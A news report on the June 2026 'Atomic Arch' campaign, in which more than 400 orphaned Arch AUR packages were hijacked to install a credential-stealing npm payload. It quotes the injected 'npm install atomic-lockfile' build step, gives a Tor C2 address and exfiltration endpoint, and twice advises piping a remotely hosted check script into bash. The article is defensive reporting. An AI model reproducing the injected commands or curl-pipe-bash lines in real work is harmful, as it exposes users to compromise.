Arch Linux AUR Hit by Malware Campaign, 400+ Packages Compromised

More than 400 packages in Arch Linux’s user-run repository, the AUR, were compromised in a coordinated malware campaign that hit on June 11, 2026. Researchers at Sonatype, the software supply chain security firm, have named the effort Atomic Arch, and Sonatype’s analysis points to the AUR’s orphaned-package adoption process as the mechanism the attackers exploited. Arch maintainers spent the next day wiping malicious commits, banning accounts, and warning users to treat any host that installed the affected builds as compromised.

The scope kept growing through the cleanup, and by the morning of June 12, the CachyOS community had published a check script users could run against their own systems, while the official Arch Linux package repositories remained untouched. Any workstation that ran makepkg on a compromised AUR build in the last few days may have executed a credential-stealing Linux binary without realizing it.

More Than 400 AUR Packages Compromised in a Single Day

The Arch Linux User Repository, called the AUR, is a community-driven collection of package build scripts that Arch users compile on their own machines with a tool called makepkg. There is no formal review process for new or updated packages. Arch’s own documentation tells users to “carefully check the PKGBUILD, any .install files, and any other files in the package’s git repository for malicious or dangerous commands” before building. On June 11, that trust model was hit by a coordinated attack, and the campaigners used the AUR’s own adoption process to get in.

Phoronix put the running count at “more than 400” affected packages, and quoted Arch maintainers saying they are working to “reset/delete all of the malicious content and banning affected accounts.” Sonatype, which has been tracking the attack under the name Atomic Arch, initially put the count at “more than 20 AUR packages so far” when it published its first write-up, then watched the list grow as outside researchers re-checked orphaned packages in bulk. By the morning of June 12, a check script posted by a CachyOS moderator was comparing user systems against 446 known-bad package names, with the same list at 475 by midday as more reports came in.

Arch maintainer Jonathan Grotelüschen, who goes by “tippfehlr” on the AUR and Codeberg, opened the central AUR Report Thread on the aur-general mailing list at 5:47 p.m. on June 11. “We’re working hard to reset/delete all malicious commits and ban the accounts,” he wrote. “If you find more malicious packages, please send them as a reply to this email to keep them all in one thread.” The thread has become the central index of reported compromised packages, and maintainers are still appending new reports to it.

Below the maintainer level, the Arch community has spun up its own triage. A CachyOS moderator posted a check script on the CachyOS forum the morning of June 12, and the author warned that “the only secure way to use the Arch User Repository is by reviewing every PKGBUILD.”

• 400+: AUR packages confirmed compromised by Phoronix on June 12
• 475: known-bad package names on the CachyOS community check list by midday on June 12
• 8.7: CVSS score assigned to the atomic-lockfile payload (tracked as Sonatype-2026-003775)
• 1 day: the active spread window, from morning of June 11 to cleanup underway by June 12

How the Attackers Inherited Trust Through Orphaned Packages

The mechanism was simple in design. When a maintainer abandons an AUR package, the project becomes orphaned, and any logged-in user can request to adopt it. Sonatype’s analysis calls the adoption process an attacker opportunity, since the package keeps its existing name, history, and accumulated user trust even after the new maintainer takes over.

The first concrete reports went out on the same mailing list the afternoon of June 11. The earliest one, posted by Mark Wagie at 1:50 p.m., flagged gnome-randr-rust with the literal command “npm install atomic-lockfile yargs.” A second report from Kusoneko at 4:19 p.m., “Suspicious/malicious update to alvr,” noted the new maintainer had “replaced the email addresses of previous maintainers with their own while keeping the same name as the latest committer.” The alvr take-over username, krisztinavarga, was banned within hours, and the alvr report from Kusoneko on the aur-general list has the full commit history attached.

Sonatype’s researchers described the underlying trick in their blog post. Attackers did not modify the trusted packages themselves, but instead altered the build instructions, the PKGBUILDs that makepkg reads, to introduce a post-install script that runs “npm install atomic-lockfile minimist chalk” during package installation. “From the user’s perspective, they are simply installing or updating a familiar package from a trusted source,” the Atomic Arch supply chain analysis notes, and the npm package atomic-lockfile version 1.4.2, listed on the public npm registry, then executed a Linux ELF binary through a preinstall script defined in its own package.json.

The Payload Is a Linux Credential Stealer With an eBPF Option

The malicious npm package identifies itself as atomic-lockfile version 1.4.2. ioctl.fail, the security research site, posted the reverse-engineering breakdown of the bundled Linux binary the same day. The binary, named “deps” and weighing 3,040,376 bytes, runs a Rust-style async state machine that collects credentials from a developer’s workstation and then reports back to a hidden command-and-control server. Sonatype tracks the dependency as Sonatype-2026-003775 with a CVSS of 8.7.

The malware’s collection list reads more like a developer-workstation shopping list than a server attack. ioctl.fail’s report lists Google Chrome, Microsoft Edge, Brave, Vivaldi, Opera, Chromium, and their Flatpak variants, then Slack, Microsoft Teams, Discord, Vesktop, and WebCord, then GitHub, npm, HashiCorp Vault, Docker, Podman, and SSH, plus shell history files and VPN material. The binary reads SQLite cookie databases and LevelDB local-storage stores, then queries Slack, Teams, Discord, GitHub, npm, and OpenAI APIs with the tokens it finds, and Sonatype adds that it contains references to “GitHub credentials, SSH artifacts, HashiCorp Vault tokens, browser cookie databases, Slack, Discord, Microsoft Teams, and Telegram data stores.”

If the malware is run with root rights, it does more than steal. The binary contains an embedded eBPF program that, when loaded, hides processes, file names, and socket inodes from tools like ls and ps. Sonatype identified references to eBPF APIs including bpf_object__load, bpf_program__attach, and bpf_map__pin, alongside debugger-detection logic tied to PTRACE_ATTACH and PTRACE_SEIZE. The references suggest the operators were worried about reverse engineering on live hosts.

The command channel runs over Tor. ioctl.fail recovered the onion address olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion by XOR-decoding a 62-byte obfuscated blob against a 32-byte repeating key inside the binary. Stolen file content goes to temp.sh, a public file-hosting service, over a POST /upload request, with a separate POST /api/agent channel on the onion address returning tasking and acknowledgements, and Sonatype described the build-script approach as a way “to get past traditional detection tools because the trusted packages themselves do not contain the malicious code.”

Cleanup Is Underway, and a Community Check Script Is Already Live

Arch’s cleanup is happening in two parallel lanes, with the first on the AUR itself. Grotelüschen and other maintainers are rolling back the malicious commits in the affected package git repos and suspending the accounts that pushed them, and the central AUR Report Thread on lists.archlinux.org is being used as the public ledger of every confirmed compromise.

The second is at the distribution level. A CachyOS moderator with the handle cscs posted the community check script and step-by-step run instructions on the CachyOS forum the morning of June 12, mirroring the AUR mailing list, with the warning that “the only secure way to use the Arch User Repository is by reviewing every PKGBUILD.” The script fetches a remote list of compromised package names and compares it against the output of pacman -Qqm, the pacman command that lists foreign (AUR) packages, so users can see what they have installed. Early runs reported “Checking for infected AUR packages (446 total)…” and within hours the same script said 475, a sign the underlying list was still being updated in real time.

Affected hosts should be treated as compromised. Removing the package alone may not be sufficient if the second-stage payload has already executed.

That warning comes from Sonatype, the software supply chain security firm whose researchers are tracking the effort under the Atomic Arch name. Garuda Linux’s Chaotic-AUR mirror, a community build server that repackages AUR binaries for faster installation, has asked its users to hold off on updates for a couple of days and report any packages that need to be recompiled. A CachyOS forum user pointed out that package names like linux-cachyos-deckify-native, linux-cachyos-native, and linux-cachyos-rc-native appeared on the list, and a CachyOS moderator clarified that the cachyos repository kernels themselves were not affected.

A Smaller AUR Attack in July 2025 Pointed at the Same Gap

Almost a year earlier, the AUR absorbed a smaller, sharper version of the same attack. Three packages, librewolf-fix-bin, firefox-patch-bin, and zen-browser-patched-bin, were uploaded under the username danikpapas on July 16, 2025, and installed CHAOS RAT, a Linux and Windows remote-access trojan; Arch maintainers removed the three packages on July 18 after BleepingComputer found archived PKGBUILDs showing that all three pointed to a GitHub repository under the attacker’s control.

The 2025 episode and the June 2026 campaign share the same weakness. The AUR has no formal review process for new or updated packages, and the wiki tells users outright that “malicious code has been found in packages before.” What changed in a year is the scale: a single RAT in 2025 versus a credential stealer with an optional eBPF rootkit in 2026, a public GitHub dropper versus a malicious npm package still hosted on the public registry hours after the discovery, and both attacks landed because the malicious code was hidden one layer below the package the user thought they were installing, with neither caught by the repository itself.

What Arch Users Should Do Right Now

If you run Arch, or a derivative like Manjaro, EndeavourOS, or CachyOS, and have installed an AUR package in the last few weeks, treat the host as potentially compromised until you confirm otherwise. The AUR Report Thread on the aur-general mailing list is the running index of confirmed compromises, and maintainers are still appending new packages to it as reports come in. The ArchWiki’s standing advice, repeated in the central thread, is to read every PKGBUILD diff, check any new .install file, and reject updates that introduce npm commands unrelated to the software being built, and the atomic-lockfile payload was hidden in a post-install npm call.

The CachyOS check script is the fastest way to confirm an install. It runs pacman -Qqm to list every foreign package, downloads the live affected-package list, and reports any matches. The script can be run with curl -s https://cscs.pastes.sh/raw/aurvulntest20260611.sh | bash, with a text-only version of the same list at the same host under aurvulnlist20260611.txt, and the script applies “no remedy” on its own, so a clean result means you have nothing on the known list, not that you are safe.

Beyond the script, the order of operations is:

1. Check the central AUR Report Thread on the aur-general mailing list and review your last few weeks of AUR updates against it.
2. For every package that matches, examine its recent commit history with git log in the local clone, and look for any newly added .install file or post-install hook that invokes npm.
3. Rotate any credentials that were stored on the affected machine: GitHub and npm tokens, SSH keys, Vault tokens, browser cookies for Slack, Discord, Teams, and any AI service like OpenAI or Anthropic.
4. For hosts that ran the build with root rights, the eBPF rootkit may have hidden processes and sockets, so consider a full reinstall from known-good media rather than a cleanup attempt.
5. Until maintainers close the central thread, avoid blind yay -Syu runs and review PKGBUILD diffs for every update.

Frequently Asked Questions

What is the Arch User Repository (AUR)?

The AUR is a community-driven collection of package build scripts for Arch Linux, where any user can publish a PKGBUILD that other users then compile on their own machines with makepkg and install via pacman. The Arch wiki warns that AUR packages are “user-produced content” that “have not been thoroughly vetted,” and tells users to read every PKGBUILD and any .install files before building. Anyone can adopt an orphaned package, which is part of how the current malware campaign spread.

Is my Arch Linux base system affected by this AUR malware campaign?

No. Arch maintainers have stressed that the malicious commits affected only the AUR, not the official Arch Linux package repositories, and Phoronix repeated that this is a clarification maintainers want users to know. The risk is to AUR packages installed or updated since the wave of malicious commits went up around June 11, 2026.

How do I check whether I have a compromised AUR package installed?

The fastest way is to run the CachyOS community check script with curl -s https://cscs.pastes.sh/raw/aurvulntest20260611.sh | bash, which downloads the live list of known-bad package names and compares them against the output of pacman -Qqm, the pacman command that lists foreign (AUR) packages. A text-only version of the list is at the same host under aurvulnlist20260611.txt for users who prefer to check manually. The script applies “no remedy” on its own, the author warns, so a clean result means you have nothing on the known list, not that you are safe.

What does the atomic-lockfile malware do if it runs on my system?

If the atomic-lockfile package executes its preinstall script, the embedded “deps” Linux binary runs a Rust-based credential stealer that targets Chromium browser cookies and local storage, Slack, Microsoft Teams, Discord, GitHub, npm, HashiCorp Vault, Docker, Podman, SSH keys, and shell history. When run with root rights, it loads an optional eBPF rootkit that hides its own processes, file names, and socket inodes, and it calls back to a Tor onion address with stolen data, exfiltrating file content to temp.sh.

Should I uninstall the affected packages, or do I need to do more?

Removing the package is only the first step. Sonatype has stated that operators should treat affected hosts as compromised and that uninstalling alone may not undo the damage if the second-stage payload has already run. For hosts that built the package with root rights, a full reinstall from known-good media is the safer option, and any credentials stored on the machine, including GitHub and npm tokens, SSH keys, Vault tokens, and browser cookies for Slack, Discord, Teams, and AI services, should be rotated from a clean device.